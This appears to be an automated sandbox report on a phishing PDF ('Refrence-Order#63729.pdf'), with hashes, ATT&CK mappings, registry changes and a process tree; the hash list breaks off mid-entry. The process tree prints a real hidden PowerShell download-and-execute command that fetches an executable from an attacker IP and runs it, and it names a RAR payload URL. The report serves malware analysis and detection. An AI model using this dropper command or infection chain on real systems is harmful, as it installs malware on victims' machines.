cf5b009d36a4f45d435e3a10ac62c19fcbd161f69689589f8e9280735441da5c

Resubmissions

02-10-2024 14:18

241002-rmqaps1akp 10

02-10-2024 14:16

241002-rk413sthmc 10

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
02-10-2024 14:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Refrence-Order#63729.pdf
Size

75KB
MD5

a0c8986f254942da6398f191ea2de509
SHA1

4e40a90768dfeff4c0cb4411a176bd7be68c9ac7
SHA256

cf5b009d36a4f45d435e3a10ac62c19fcbd161f69689589f8e9280735441da5c
SHA512

0eef50fd30c31b3c21abd04715c59126625bb9805ef377a75b0f0ef6abe0336d7e1273591455fe33bd13bc49577aa37257a7d0e664083365c2fac7d4d00565a1
SSDEEP

1536:ThWq0RfD6oBNp2XEgbyv2VCQ6zYkwvrAi2DSYbTBxQ7MOxjd/VcReDjslRvwG:VZ0RfmUNp2XEgbS2VezYkwvMxt8jxNVM

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2616	powershell.exe
684	powershell.exe
2628	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\PhishingFilter	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = c06672a4d514db01	iexplore.exe

Modifies Internet Explorer settings 1 TTPs 58 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Toolbar	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LinksExplorer\Width = "290"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{DF7FADE1-80C8-11EF-A0B2-6AE4CEDF004B} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\DownloadWindowPlacement = 2c0000000000000000000000ffffffffffffffffffffffffffffffff100100003d000000900300001d020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LinksExplorer	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\LinksExplorer\LinksType = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{F3DB22B1-80C8-11EF-A0B2-6AE4CEDF004B} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "434040472"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000_Classes\Local Settings	rundll32.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2908	vlc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2616	powershell.exe
1548	7zFM.exe
684	powershell.exe
1548	7zFM.exe
2628	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
2908	vlc.exe
1548	7zFM.exe
2388	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeRestorePrivilege	1548	7zFM.exe
Token: 35	1548	7zFM.exe
Token: SeSecurityPrivilege	1548	7zFM.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeSecurityPrivilege	1548	7zFM.exe
Token: SeDebugPrivilege	684	powershell.exe
Token: SeRestorePrivilege	2964	7zG.exe
Token: 35	2964	7zG.exe
Token: SeSecurityPrivilege	2964	7zG.exe
Token: SeSecurityPrivilege	2964	7zG.exe
Token: SeDebugPrivilege	2628	powershell.exe

Suspicious use of FindShellTrayWindow 17 IoCs

pid	Process
2944	iexplore.exe
2944	iexplore.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
1856	iexplore.exe
1856	iexplore.exe
1548	7zFM.exe
1548	7zFM.exe
1548	7zFM.exe
2964	7zG.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe
2908	vlc.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2388	AcroRd32.exe
2944	iexplore.exe
2944	iexplore.exe
2764	IEXPLORE.EXE
2764	IEXPLORE.EXE
2908	vlc.exe
1856	iexplore.exe
1856	iexplore.exe
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
1856	iexplore.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 2944	2388	AcroRd32.exe	30
PID 2388 wrote to memory of 2944	2388	AcroRd32.exe	30
PID 2388 wrote to memory of 2944	2388	AcroRd32.exe	30
PID 2388 wrote to memory of 2944	2388	AcroRd32.exe	30
PID 2944 wrote to memory of 2764	2944	iexplore.exe	31
PID 2944 wrote to memory of 2764	2944	iexplore.exe	31
PID 2944 wrote to memory of 2764	2944	iexplore.exe	31
PID 2944 wrote to memory of 2764	2944	iexplore.exe	31
PID 2944 wrote to memory of 2900	2944	iexplore.exe	33
PID 2944 wrote to memory of 2900	2944	iexplore.exe	33
PID 2944 wrote to memory of 2900	2944	iexplore.exe	33
PID 2900 wrote to memory of 1484	2900	rundll32.exe	34
PID 2900 wrote to memory of 1484	2900	rundll32.exe	34
PID 2900 wrote to memory of 1484	2900	rundll32.exe	34
PID 1484 wrote to memory of 2908	1484	rundll32.exe	35
PID 1484 wrote to memory of 2908	1484	rundll32.exe	35
PID 1484 wrote to memory of 2908	1484	rundll32.exe	35
PID 2388 wrote to memory of 1856	2388	AcroRd32.exe	39
PID 2388 wrote to memory of 1856	2388	AcroRd32.exe	39
PID 2388 wrote to memory of 1856	2388	AcroRd32.exe	39
PID 2388 wrote to memory of 1856	2388	AcroRd32.exe	39
PID 1856 wrote to memory of 1492	1856	iexplore.exe	40
PID 1856 wrote to memory of 1492	1856	iexplore.exe	40
PID 1856 wrote to memory of 1492	1856	iexplore.exe	40
PID 1856 wrote to memory of 1492	1856	iexplore.exe	40
PID 1548 wrote to memory of 2800	1548	7zFM.exe	45
PID 1548 wrote to memory of 2800	1548	7zFM.exe	45
PID 1548 wrote to memory of 2800	1548	7zFM.exe	45
PID 2800 wrote to memory of 2616	2800	cmd.exe	47
PID 2800 wrote to memory of 2616	2800	cmd.exe	47
PID 2800 wrote to memory of 2616	2800	cmd.exe	47
PID 1548 wrote to memory of 2644	1548	7zFM.exe	48
PID 1548 wrote to memory of 2644	1548	7zFM.exe	48
PID 1548 wrote to memory of 2644	1548	7zFM.exe	48
PID 2644 wrote to memory of 684	2644	cmd.exe	50
PID 2644 wrote to memory of 684	2644	cmd.exe	50
PID 2644 wrote to memory of 684	2644	cmd.exe	50
PID 2760 wrote to memory of 2628	2760	cmd.exe	56
PID 2760 wrote to memory of 2628	2760	cmd.exe	56
PID 2760 wrote to memory of 2628	2760	cmd.exe	56

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Refrence-Order#63729.pdf"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" https://files.catbox.moe/ft6o99.rar
  2⤵
  - Modifies Internet Explorer Phishing Filter
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2944 CREDAT:275457 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2764
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6XUZ2JLF\ft6o99.rar
    3⤵
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6XUZ2JLF\ft6o99.rar
      4⤵
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:1484
    - - C:\Program Files\VideoLAN\VLC\vlc.exe
        
        "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6XUZ2JLF\ft6o99.rar"
        5⤵
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:2908
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" https://files.catbox.moe/ft6o99.rar
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1856 CREDAT:275457 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1492

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:600

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\ft6o99\" -spe -an -ai#7zMap9114:74:7zEvent16477
1⤵
PID:2236

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\ft6o99.rar"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\7zOC0617FA7\Order-63729_Reference.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2616
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\7zOC0688FB7\Order-63729_Reference.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:684

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\ft6o99\" -spe -an -ai#7zMap17142:74:7zEvent23076
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2964

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\ft6o99\Order-63729_Reference.bat
1⤵
PID:2024

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\ft6o99\Order-63729_Reference.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

Filesize
717B

MD5
822467b728b7a66b081c91795373789a

SHA1
d8f2f02e1eef62485a9feffd59ce837511749865

SHA256
af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

SHA512
bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
914B

MD5
e4a68ac854ac5242460afd72481b2a44

SHA1
df3c24f9bfd666761b268073fe06d1cc8d4f82a4

SHA256
cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

SHA512
5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

Filesize
192B

MD5
f2f607335698f35f2b53855ad908a344

SHA1
a085e56d283b7330734f7ed65a7c706bd2da2887

SHA256
4b7d872154efff9e5922dd60268d78a461976e321f1d410c39c09127637bb8b4

SHA512
75bd6104942b63823c74ac6b2c42ce65e7ec86570ec822b0b842d9d24b972922d948dfb2fac1329e7c97845c4608119de807b17cd6c51948bfa20102b129d85d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
252B

MD5
ba9653fb35745eb11290309ec7b25976

SHA1
3e772c522ebd65aa307daa4f4791cd97960eda91

SHA256
6324391d8399fa977924cf07508f830a80e1e06d6c5fdac0156f8dbe98a25433

SHA512
9a9e63405934a134b717d8316fb8a6eae685eacf4702d86e4111b43cf4e8e6098042548f082c9333a4787bbf36eccb3fd0dfee8a87ca09f32b5e6b74db2ea323

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
dff038e36ab413daab53a85ce1804553

SHA1
2206b66dfc46c7ceb363f783f4be87f5d3d246fb

SHA256
f817b3214086814f4f4a1a456e58c706466732fbcace719edbed16d072b935f3

SHA512
29546e51b9f24acc5a5f8880dd0166a9b1b87298c3f7822ead5f0a4a1454c97a689f2e47fae3e8ff88b86573ad289be581a1393d7024bf7ab9777472f2810aaa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
52ab5b525cf928c291549cc8712ccae7

SHA1
1c0594bc83d7503b4eb12b4e3beb43a60fce8459

SHA256
38cc8e45116b58cc9671f2075b4466473dfd1d0c0e050b1ffbe9adcb5cf10870

SHA512
a7e0cf43bd65d35380b40e8c363194cc0fd17a5fd010846aeb389c687ad8d81294c789dd2a25793cba31be718df8c388515e0cade7110f8ba3d28485def5c0d4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
0739da90c72d87402fbb266e3cc4691d

SHA1
98ab658be4e52432ca85b5b3e9ed59a411c5b4a9

SHA256
c7184c007cd0e0bb97a27bf3ebe86ae3bc2c21cae2e31cccdd9daaaa968044ae

SHA512
79c4e33ade5fd0f682e9012cb2181e4d4e1ecadb10b4de8083cda7f59393edd4a8bb33b8a155a124d4bdd43e917de44c0232e9b3650a52c6ce185b3546cfa7d9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
c5137c1ac26cac5ba2a999ee229858d3

SHA1
4115cff79fcf087b88561a07b57ca1bef086c6b3

SHA256
be8375022da4d7e0a3111ac9454c264a4882423e975ebcfc82a5444dbe58b3d7

SHA512
cbf27c80daf698db2a3fcece002ecb7cf6c4dc888c17e4c7ebcf4cefa832f8ab5ddf04c466639a646f0ea0d3ab6c8e71bee5d7376568ec549176de52bb23dcd2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
0890c426d70a37b78bd1f0ce10a759d0

SHA1
a9105bc835b36421fad21312ce983ab74bf0d957

SHA256
26875f9763c6bc05e9819ae475ade35faf1706db73727d52315f7f7abd3f70cb

SHA512
32fa686ff1d994215d7978cbb64240a751a84ab5b188cfef419c501a89b2d50958a5d365b105ceab3c5fe04da9aa4367422e1149cb50458962377b921748daaf

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
3b9165d9e05562dcd01c0dba380f869b

SHA1
2092801d0f103dcb90868bb4c41b4f852e6679d3

SHA256
e69017b1c6b55e0454ad36358501fc5ffe8cf0756a578d9c63f974943144ae2e

SHA512
759f751414a31ad0ee65479181419d015927081d2a3b9a41e35a507ed32c3a6daea78d62d1c40982b0639642e828b7ff6c9bb2d76a6e35a9046a2134422fcc3b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
dd5629afe14e5a9d3baaa7b30ad96df8

SHA1
9d4327eb95c98be6dcbd633d9006500d1da60308

SHA256
3742a262644ac201dc6ea7f332ae6fcdbbd2f91281ec5d395c4dfe40f8c01e14

SHA512
